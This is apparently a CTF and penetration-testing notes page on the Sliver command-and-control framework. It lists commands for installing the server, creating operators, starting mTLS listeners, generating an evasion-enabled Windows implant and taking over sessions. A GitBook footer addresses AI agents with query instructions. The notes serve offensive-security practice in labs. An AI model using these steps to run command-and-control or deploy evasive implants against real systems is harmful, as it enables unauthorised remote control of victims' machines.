> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/ctf-notes/network-pentesting/c2-servers.md).

# C2 Servers

Quick Intro

## SilverC2

### Installation

Download the latest binaries from the [releases](https://github.com/BishopFox/sliver/releases)

```
mv sliver-client_linux /usr/local/bin/silver-client 
mv sliver-server_linux /usr/local/bin/silver-server
```

### Starting the server

```
silver-server
```

Generate an operator

```
new-operator --name <NAME> --lhost <IP> --lport <PORT>
```

Enable Multiplayer

```
multiplayer
```

![](https://pwnsec-notes.gitbook.io/ctf-notes/~gitbook/image?url=https%3A%2F%2F1504879363-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F40QKoxlr9Mj1ke1fMHsL%252Fuploads%252FbIXr5qv4OA7Be6veHYty%252Fimage.png%3Falt%3Dmedia%26token%3Dd35a2cce-1f94-4fed-bdf7-ce7c86c88125\&width=768\&dpr=4\&quality=100\&sign=99f419d5\&sv=2)

Copy the `<PROFILE>.cfg` to the `silver-client` configurations

```
cp zAbuQasem_10.10.15.87.cfg ~/.silver-client/configs
# OR
silver-client import ./zAbuQasem_10.10.15.87.cfg
```

Connect to the server

```
# In a new terminal
silver-client
```

### Working with Extensions

Listing extensions

```
armory
```

Installing all extensions

```
armory install all
```

Aliases usage: Make sure to use `--` or `''` before adding args ..etc

```
execute -- <COMMAND/OPTION>
execute '' <COMMAND/OPTION>
```

### Starting a listener

```
mtls --lhost <IP> --lport <PORT> [--persistent]
# http, https -> check help menu
```

![](https://pwnsec-notes.gitbook.io/ctf-notes/~gitbook/image?url=https%3A%2F%2F1504879363-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F40QKoxlr9Mj1ke1fMHsL%252Fuploads%252Fm3WRSl49mNC8FtCM81z3%252Fimage.png%3Falt%3Dmedia%26token%3D0ebcf0f8-76fe-4e9c-85ce-4a0cc64f8d64\&width=768\&dpr=4\&quality=100\&sign=68326998\&sv=2)

### Generate a Payload

```
generate --mtls <LHOST> --evasion --os=Windows --save=./abuqasem.exe
```

### Working with sessions

* List sessions

```
sessions
```

![](https://pwnsec-notes.gitbook.io/ctf-notes/~gitbook/image?url=https%3A%2F%2F1504879363-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F40QKoxlr9Mj1ke1fMHsL%252Fuploads%252FDoAPm9FqDBDH9txdfrfl%252Fimage.png%3Falt%3Dmedia%26token%3D68b1c27c-8470-43f0-ab76-9e38a4479a94\&width=768\&dpr=4\&quality=100\&sign=e33019c8\&sv=2)

* Interacting with a session

```
use <ID>
```

![](https://pwnsec-notes.gitbook.io/ctf-notes/~gitbook/image?url=https%3A%2F%2F1504879363-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F40QKoxlr9Mj1ke1fMHsL%252Fuploads%252FcaSe89uDehStLMOtdwsl%252Fimage.png%3Falt%3Dmedia%26token%3D3b9f4c98-dd89-4141-86b7-9f3ef5b62f7b\&width=768\&dpr=4\&quality=100\&sign=205c74cb\&sv=2)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://zeyad-abulaban.gitbook.io/notes/ctf-notes/network-pentesting/c2-servers.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
